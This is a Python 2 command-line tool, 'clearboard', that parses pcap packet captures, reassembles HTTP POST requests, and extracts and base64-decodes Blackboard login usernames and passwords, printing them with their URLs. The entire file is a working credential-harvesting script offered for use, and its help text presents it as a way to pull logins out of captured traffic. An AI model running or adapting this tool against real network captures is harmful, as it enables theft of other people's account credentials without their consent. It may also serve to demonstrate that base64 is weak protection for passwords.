#!/usr/bin/env python

import os
import sys
import dpkt

from urllib2 import unquote
from base64 import decodestring

class clearboard():

    __version__ = '0.1'
    __authors__ = 'Moloch'
    
    def __init__(self):
        ''' Constructor '''
        self.capturedLogins = []
    
    def __parsePostData__(self, encodedString):
        ''' Parse the post data looking for tokens, return a list '''
        tokens = ['encoded_pw=', 'user_id=']
        matches = {}
        for token in tokens:
            baseIndex = encodedString.index(token)
            baseString = encodedString[baseIndex + len(token):]
            baseString[:baseString.index('&')]
            urlEncoded = baseString[:baseString.index('&')]
            matches[token] = unquote(urlEncoded)
        matches['encoded_pw='] = decodestring(matches['encoded_pw='])
        return matches
    
    def __readPcap__(self, filename):
        ''' Reads a pcap file, returns a file and a dpkt pcap reader object '''
        sys.stdout.write(' [*] File operation: Opening %s...' % filename)
        try:
            pcapFile = open(filename, 'rb')
            pcap = dpkt.pcap.Reader(pcapFile)
        except:
            print '\n [!] Error: Failed to open file (%s), permissions?' % filename
            sys.exit()
        sys.stdout.write('\b \b' * len(' Opening %s...' % filename))
        sys.stdout.write(' Reading %s...\n' % filename)
        return pcap, pcapFile
    
    def displayLogins(self):
        ''' Displays logins to the screen '''
        print ' [*] Found %d login(s)' % len(self.capturedLogins)
        count = 1
        for login in self.capturedLogins:
            print ' [%d]-------------------------------------------' % count
            print ' |      URL: %s' % login['url']
            print ' |     User: %s' % login['user_id=']
            print ' | Password: %s' % login['encoded_pw=']
            count += 1
        print ' +---------------------------------------------'

    def parsePcapFile(self, filename):
        ''' 
        Looks through pcaps looking for POST data to decode
        returns a dictionary of anything it finds
        '''
        connection = {}
        pcap, pcapFile = self.__readPcap__(filename)
        for ts, packet in pcap:
            ether = dpkt.ethernet.Ethernet(packet)
            if ether.type != dpkt.ethernet.ETH_TYPE_IP:
                continue
            ip = ether.data
            if ip.p != dpkt.ip.IP_PROTO_TCP:
                continue
            tcp = ip.data
            addressInformation = (ip.src, ip.dst, tcp.sport, tcp.dport)
            if addressInformation in connection:
                connection[addressInformation] = connection[addressInformation] + tcp.data
            else:
                connection[addressInformation] = tcp.data
            try:
                stream = connection[addressInformation]
                if stream[:4] == 'HTTP':
                    http = dpkt.http.Response(stream)
                else:
                    http = dpkt.http.Request(stream)
                    if 'encoded_pw' in http.body:
                        login = http.body
                        matches = self.__parsePostData__(login)
                        matches['url'] = http.headers['origin']
                        self.capturedLogins.append(matches)
                    stream = stream[len(http):]
                    if len(stream) == 0:  
                        del connection[addressInformation]
                    else:
                        connection[addressInformation] = stream
            except dpkt.UnpackError:
                pass
        pcapFile.close()

if __name__ == '__main__':
    cb = clearboard()
    print ' [*] Clearboard - v%s - Written by %s' % (cb.__version__, cb.__authors__)
    if '--help' in sys.argv or '-h' in sys.argv or len(sys.argv) == 1:
        print '\n [About]: Parses .pcap files and pulls out blackboard login credentials'
        print '          which are "secured" using base64.'
        print '\n [Version]: %s (01-20-2011)' % cb.__version__
        print '\n [Usage]: clearboard [file.pcap]..........Looks for logins in the .pcap file'
        print '          clearbaord --help...............Displays this helpful message'
        sys.exit()
    if os.path.exists(sys.argv[1]) and os.path.isfile(sys.argv[1]):
        cb.parsePcapFile(sys.argv[1])
        cb.displayLogins()
    else:
        print ' [!] PEBKAC: Bad command or file does not exist, see --help'